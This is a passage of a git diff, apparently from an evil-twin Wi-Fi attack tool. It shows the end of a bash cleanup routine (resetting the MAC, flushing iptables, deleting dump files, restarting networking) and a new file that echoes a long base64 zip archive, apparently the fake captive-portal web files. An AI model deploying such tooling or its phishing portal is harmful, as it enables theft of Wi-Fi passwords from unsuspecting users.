macchanger -p $WIFI &> $flux_output_device + fi + + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent"" + sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device + fi + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent"" + if [ ! -f $DUMP_PATH/iptables-rules ];then + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + else + iptables-restore < $DUMP_PATH/iptables-rules + fi + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent"" + tput cnorm + + if [ $FLUX_DEBUG != 1 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + if [ $KEEP_NETWORK = 0 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent"" + # systemctl check + systemd=`whereis systemctl` + if [ "$systemd" = "" ];then + service network-manager restart &> $flux_output_device & + service networkmanager restart &> $flux_output_device & + service networking restart &> $flux_output_device & + else + systemctl restart NetworkManager &> $flux_output_device & + fi + echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent"" + echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent"" + sleep 2 + clear + fi + + fi + + exit + +} \ No newline at end of file diff --git a/lib/site/index b/lib/site/index new file mode 100644 index 0000000..6855447 --- /dev/null +++ b/lib/site/index @@ -0,0 +1,2217 @@ +echo "UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp +KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj +/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// ++Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ +IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f +/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ +uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su +BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf +2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 +0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 +/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 +16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s ++fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD +8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 +R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt +BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW +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 